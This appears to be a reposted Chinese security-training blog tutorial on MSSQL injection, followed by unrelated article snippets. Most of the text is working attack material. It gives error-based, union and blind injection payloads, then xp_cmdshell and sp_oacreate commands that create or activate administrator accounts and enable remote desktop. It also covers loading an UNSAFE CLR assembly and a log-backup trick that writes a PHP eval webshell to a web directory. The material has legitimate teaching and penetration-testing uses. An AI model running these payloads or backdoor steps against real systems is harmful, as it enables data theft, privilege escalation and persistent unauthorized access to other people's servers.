网络安全进阶学习第十四课——MSSQL注入

文章目录

  • 一、MSsql数据库
  • 二、MSsql结构
  • 三、MSsql重点表
    • 1、master 数据库中的Sysdatabases 表
    • 2、Sysobjects 表
    • 3、Syscolumns 表
  • 四、Mssql常用函数
  • 五、Mssql的报错注入
  • 六、Mssql的盲注
    • 常用以下函数进行盲注:
  • 七、联合注入
    • 1、获取当前表的列数
    • 2、获取当前数据库名
    • 3、获取表名
    • 4、获取表id
    • 5、获取表字段名
    • 6、获取manage表中username字段的数据
  • 八、注入流程
    • 1、判断权限
    • 2、获取当前数据库
    • 3、获取当前数据库内的所有数据表
    • 4、获取当前数据库内的指定数据表的所有字段
    • 5、取指定数据库内的表数据内容
  • 九、getshell
    • 1、mssql权限
    • 2、SA权限开启xp_cmdshell 获取主机权限
      • 1)判断xp_cmdshell 是否打开
      • 2)然后通过上述的execute步骤,将xp_cmdshell开启
    • 3、SA权限使用sp_oacreate 执行系统命令
      • 1)下面的命令可以查看sp_oacreate 是否被允许:
      • 2)开启sp_oacreate
      • 3)执行添加用户命令 进行测试
    • 4、SA权限使用CLR 执行系统命令
      • 创建CLR有两种方式:
      • 启用CLR功能
    • 5、DB_owner权限 LOG备份Getshell
      • 1)sql server常见的备份策略
      • 2)利用前提
      • 3)注入代码
    • 6、综述


一、MSsql数据库

强类型数据库,会把数字和字符严格区分的。


二、MSsql结构

有四个默认的数据库:

  • 1、master(重点)
    保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。
  • 2、model
    模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名。
  • 3、msdb
    代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。
  • 4、tempdb
    暂时存储数据的,用于存储系统运行过程中临时产生的数据,例如用户定义的表、索引等。

三、MSsql重点表

1、master 数据库中的Sysdatabases 表

Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名,主要字段有:name (数据库名)

2、Sysobjects 表

所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。该表存放着当前数据库所有的表名(类似MySQL中information_schema数据库中的tables表)。主要字段有:name(表名)、id(表 ID)、xtype(创建的对象)。
xtype='U',代表是用户建立的表。

  • 和MySQL的数据库路径方法有区别:
    Mysql:information_schema.tables
    Mssql:master.dbo.sysobjects

3、Syscolumns 表

所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。
该表存放着当前数据库所有的字段名。主要字段有:name(分别是字段名称)、id(表 ID)。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。


四、Mssql常用函数

函数函数作用
db name()返回当前数据库的名称
host_name()返回计算机名称
current_user返回当前数据库的用户名
user数据库用户
substring()字符串截取函数
@@version查看数据库版本
char()ASCII 转字符函数
cast(text as type())字符类型转换,如果转换失败会将 text 结果报错显示在页面上
object_id()根据表名返回数据库表名 ID
object_name()根据 ID 返回数据库表名
col_name(object_id,column_id) 举例:Col_name(object_id(‘users’),2)返回指定表中指定字段(列)的名称

五、Mssql的报错注入

由于Mssql是强类型数据库,一旦数据类型不匹配就会报错。这时我们就可以利用四则运算,让整型数据和字符型数据之间来进行运算,例如1+user。

举例POC:'or 1=convert(int,@@version)--


六、Mssql的盲注

跟mysql差不多,区别在于使用的函数不同

常用以下函数进行盲注:

  • 1、patindex(pattern,string)
    #返回某个字符或正则在某个字符串中第一次出现的位置

  • 2、replace(string,substring1,substring2)
    #将字符串中出现的某个子串替换成另一个字符串,就是将在string中出现的substring1替换成substring2。
    举例:replace(‘1-a 2-b’,’-’, ’:’),返回结果是:1:a 2:b

  • 3、replicate(string,n)
    #指定的次数复制字符串
    举例:replicate(‘abc’,3),返回结果是:abcabcabc

  • 4、stuff(string,pos,delete_length,insertstring)
    #先删除字符串中的一个字串,再插入一个新的子串作为替换
    举例:stuff(‘xyz’,2,1,’abc’),返回结果是:xabcz

  • 5、upper(string)和lower(string)
    #将字符串转换成大写或小写

  • 6、rtrim(string)和ltrim(string)
    #删除字符串中的尾随空格或前导空格

  • 7、charindex(expression1 , expression2 , [ start_location ])
    #返回字符串中指定表达式的起始位置,若查询到就返回位置,若没有查询到就返回false。另外,charindex的参数不区分大小写。


七、联合注入

1、获取当前表的列数

id=-1 order by 4--+
4不报错,5报错

2、获取当前数据库名

id=-1 union all select 1,2,db_name(),4--+
这里返回:mozhe_db

3、获取表名

id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+
这里返回:manage

假如要获取下一个表可以使用老方法,直接再where后面添加:and name !=’manage’,就可以弹出下一个表名

4、获取表id

id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+
这里返回:5575058

5、获取表字段名

id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+
这里返回:username

假如要获取下一个字段名可以使用老方法,直接在where后面添加:and name !=’ username’,就可以弹出下一个字段名

6、获取manage表中username字段的数据

id=-1 union all select top 1 1,2, username ,4 from manage --+
这里返回:admin_mz

假如要获取下一个数据可以使用老方法,直接在后面添加:where username !=’ admin_mz’,就可以弹出下一个字段名


八、注入流程

1、判断权限

如果页面回显正常则为正确,否则报错。举例POC:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) –

2、获取当前数据库

and 1=(select db_name()) –

3、获取当前数据库内的所有数据表

and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype=‘U’ FOR XML PATH(‘’))) –

注意:
convert函数是强制转数据类型的。
Quotename函数的主要作用就是在存储过程中,给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。
FOR XML PATH 是将查询结果集以XML形式展现,将多行的结果,展示在同一行。

4、获取当前数据库内的指定数据表的所有字段

and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(‘’)) –

5、取指定数据库内的表数据内容

and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))–


九、getshell

1、mssql权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限
  • db权限:文件管理,数据库操作等 users-administrators
  • public权限:数据库操作 guest-users

2、SA权限开启xp_cmdshell 获取主机权限

1)判断xp_cmdshell 是否打开

select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
在这里插入图片描述
返回1是打开;返回0是关闭

  • 如果xp_cmdshell权限没有开启,我们可以执行下面命令开启,下面四步,使xp——cmdshell开启
execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
  • 或者:
exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                      
exec sp_configure;                                 
exec xp_cmdshell 'whoami'; 
  • 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口
  • execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1
    在这里插入图片描述

  • execute(‘reconfigure’) #保存设置
    在这里插入图片描述

  • 虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止
    在这里插入图片描述

2)然后通过上述的execute步骤,将xp_cmdshell开启

在这里插入图片描述

3、SA权限使用sp_oacreate 执行系统命令

使用sp_oacreate的前提:sql server数据服务未降权

我们可以借助sql server中的com组件sp_oacreate来执行系统命令。

1)下面的命令可以查看sp_oacreate 是否被允许:

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'whoami'

在这里插入图片描述

2)开启sp_oacreate

EXEC sp_configure 'show advanced options', 1;    
//类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;

在这里插入图片描述
由此可以看出,sp_oacreate 命令无回显

3)执行添加用户命令 进行测试

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'   
--上面sql server语言固定,最后一行是执行的系统命令

4、SA权限使用CLR 执行系统命令

创建CLR有两种方式:

  • 使用DLL文件进行创建
  • 使用文件16进制流进行创建

启用CLR功能

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

如果存在权限问题,执行下面命令

alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
导入程序集CREATE ASSEMBLY [WarSQLKit] 
AUTHORIZATION [dbo] FROM 十六进制数据 
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];

5、DB_owner权限 LOG备份Getshell

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

1)sql server常见的备份策略

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务备份

2)利用前提

  • 目标机器存在数据库备份文件。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式
  • 知道网站的绝对路径
  • 支持堆叠注入

3)注入代码

alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image);    #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init;  #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  
#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php';     #把操作日志备份到指定文件
drop table cmd;     #删除cmd表

6、综述

利用日志备份,类似于mysql的在日志中写入一句话木马。

修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径

在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/27783.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络编程(JavaEE初阶系列10)

目录 前言&#xff1a; 1.网络编程的基础 1.1为什么需要网络编程 1.2什么是网络编程 1.3网络编程中的基本概念 1.3.1发送端和接收端 1.3.2请求和响应 1.3.3客户端和服务端 2.Socket套接字 2.1概念 2.2分类 3.UDP数据报套接字编程 3.1DataGramSocket API 3.2Datagr…

坐标转换-使用geotools读取和转换地理空间表的坐标系(sqlserver、postgresql)

前言&#xff1a; 业务上通过GIS软件将空间数据导入到数据库时&#xff0c;因为不同的数据来源和软件设置&#xff0c;可能导入到数据库的空间表坐标系是各种各样的。 如果要把数据库空间表发布到geoserver并且统一坐标系&#xff0c;只是在geoserver单纯的设置坐标系只是改了…

JMeter命令行执行+生成HTML报告

1、为什么用命令行模式 使用GUI方式启动jmeter&#xff0c;运行线程较多的测试时&#xff0c;会造成内存和CPU的大量消耗&#xff0c;导致客户机卡死&#xff1b; 所以一般采用的方式是在GUI模式下调整测试脚本&#xff0c;再用命令行模式执行&#xff1b; 命令行方式支持在…

MyBatis-动态SQL-foreach

目录 标签有以下常用属性&#xff1a; 小结 <froeach> <foreach>标签有以下常用属性&#xff1a; collection&#xff1a;指定要迭代的集合或数组的参数名&#xff08;遍历的对象&#xff09;。item&#xff1a;指定在迭代过程中的每个元素的别名&#xff08;遍历…

OnlyOffice社区版破解最大连接限制部署

onlyoffice社区版部署并且破解最大连接数 docker镜像 docker pull onlyoffice/documentserver:5.3.1.265.4或更高的版本已经解决了此方法的Bug 运行镜像 docker run -d --name onlyoffice --restartalways -p 暴露端口号:80 onlyoffice/documentserver:5.3.1.26进入容器内部…

策略模式——算法的封装与切换

1、简介 1.1、概述 在软件开发中&#xff0c;常常会遇到这种情况&#xff0c;实现某一个功能有多条途径。每一条途径对应一种算法&#xff0c;此时可以使用一种设计模式来实现灵活地选择解决途径&#xff0c;也能够方便地增加新的解决途径。为了适应算法灵活性而产生的设计模…

[机器学习]线性回归模型

线性回归 线性回归&#xff1a;根据数据&#xff0c;确定两种或两种以上变量间相互依赖的定量关系 函数表达式&#xff1a; y f ( x 1 , x 2 . . . x n ) y f(x_1,x_2...x_n) yf(x1​,x2​...xn​) ​ 回归根据变量数分为一元回归[ y f ( x ) yf(x) yf(x)]和多元回归[ y …

【深度学习Week4】MobileNet_ShuffleNet

报错&#xff1a;unsafe legacy renegotiation disabled 解决方案&#xff1a; 尝试了更换cryptography36.0.2版本&#xff0c;以及更换下载链接的方法&#xff0c;都不行&#xff0c;最后采用了手动下载mat文件并上传到colab的方法 高光谱图像分类数据集简介Indian Pines&…

【果树农药喷洒机器人】Part2:机器人变量喷药系统硬件选型

本专栏介绍&#xff1a;免费专栏&#xff0c;持续更新机器人实战项目&#xff0c;欢迎各位订阅关注。 关注我&#xff0c;带你了解更多关于机器人、嵌入式、人工智能等方面的优质文章&#xff01; 文章目录 一、引言二、变量喷药系统总体要求2.1系统功能要求2.2系统技术要求 三…

4.1 Windows终端安全

数据参考&#xff1a;CISP官方 目录 安全安装保护账户安全本地安全策略安全中心系统服务安全其他安全设置软件安全获取 一、安全安装&#xff08;以安装windows系统为例&#xff09; 选择合适的版本 商业版本&#xff1a;家庭版、专业版、专业工作站版、企业版特殊版本&…

pytest-xdist分布式测试原理浅析

目录 pytest-xdist执行流程&#xff1a; pytest-xdist 模块结构&#xff1a; pytest-xdist分布式测试原理&#xff1a; pytest-xdist源码浅读&#xff1a; pytest-xdist执行流程&#xff1a; 解析命令行参数&#xff1a;pytest-xdist 会解析命令行参数&#xff0c;获取用户…

海外媒体发稿:软文写作方法方式?一篇好的软文理应合理规划?

不同种类的软文会有不同的方式&#xff0c;下面小编就来来给大家分析一下&#xff1a; 方法一、要选定文章的突破点&#xff1a; 所说突破点就是这篇文章文章软文理应以什么样的视角、什么样的见解、什么样的语言设计理念、如何文章文章的标题来写。不同种类的传播效果&#…

【JMeter】 使用Synchronizing Timer设置请求集合点,实现绝对并发

目录 布局设置说明 Number of Simulated Users to Group Timeout in milliseconds 使用时需要注意的点 集合点作用域 实际运行 资料获取方法 布局设置说明 参数说明&#xff1a; Number of Simulated Users to Group 每次释放的线程数量。如果设置为0&#xff0c;等同…

以Java的方式将文件上传到阿里云OSS

文章目录 1. 开通对象存储服务2. 创建 AccessKey 密钥3. 通用代码实现 1. 开通对象存储服务 控制台 → 对象存储 OSS → 立即开通 Bucket列表 → 点击创建 Bucket 填写名称、地域&#xff0c;名称创建后不可修改&#xff0c;地域选择最近的&#xff0c;存储类型选择标准存储&…

2023-08-08 LeetCode每日一题(任意子数组和的绝对值的最大值)

2023-08-08每日一题 一、题目编号 1749. 任意子数组和的绝对值的最大值二、题目链接 点击跳转到题目位置 三、题目描述 给你一个整数数组 nums 。一个子数组 [numsl, numsl1, …, numsr-1, numsr] 的 和的绝对值 为 abs(numsl numsl1 … numsr-1 numsr) 。 请你找出 …

STM32基础入门学习笔记:核心板 电路原理与驱动编程

文章目录&#xff1a; 一&#xff1a;LED灯操作 1.LED灯的点亮和熄灭 延迟闪烁 main.c led.c led.h BitAction枚举 2.LED呼吸灯&#xff08;灯的强弱交替变化&#xff09; main.c delay.c 3.按键控制LED灯 key.h key.c main.c 二&#xff1a;FLASH读写程序(有…

LeNet卷积神经网络-笔记

LeNet卷积神经网络-笔记 手写分析LeNet网三卷积运算和两池化加两全连接层计算分析 修正上图中H,W的计算公式为下面格式 基于paddle飞桨框架构建测试代码 #输出结果为&#xff1a; #[validation] accuracy/loss: 0.9530/0.1516 #这里准确率为95.3% #通过运行结果可以看出&am…

Stable Diffusion - Style Editor 和 Easy Prompt Selector 提示词插件配置

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/132122450 Stable Diffusion 的 Prompt 的功能&#xff0c;可以用文字来描述想要生成的图像&#xff0c;根据输入来创造出逼真的图像。Prompt 支持…

Python 面试必知必会(一):数据结构

《Python Cookbook》的作者David Beazley的课程PPT开源了&#xff0c;目标用户是希望从编写基础脚本过渡到编写更复杂程序的高级 Python 程序员&#xff0c;课程主题侧重于流行库和框架中使用的编程技术&#xff0c;主要目的是更好地理解 Python 语言本身&#xff0c;以便阅读他…

【深度学习】采用自动编码器生成新图像

一、说明 你知道什么会很酷吗&#xff1f;如果我们不需要所有这些标记的数据来训练 我们的模型。我的意思是标记和分类数据需要太多的工作。 不幸的是&#xff0c;大多数现有模型从支持向量机到卷积神经网&#xff0c;没有它们&#xff0c;卷积神经网络就无法训练。无监督学习不…